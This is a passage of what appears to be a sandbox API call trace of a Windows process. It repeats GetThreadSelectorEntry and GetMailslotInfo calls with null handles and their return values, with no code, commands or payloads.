lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.579] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.579] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.580] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.581] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.582] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, 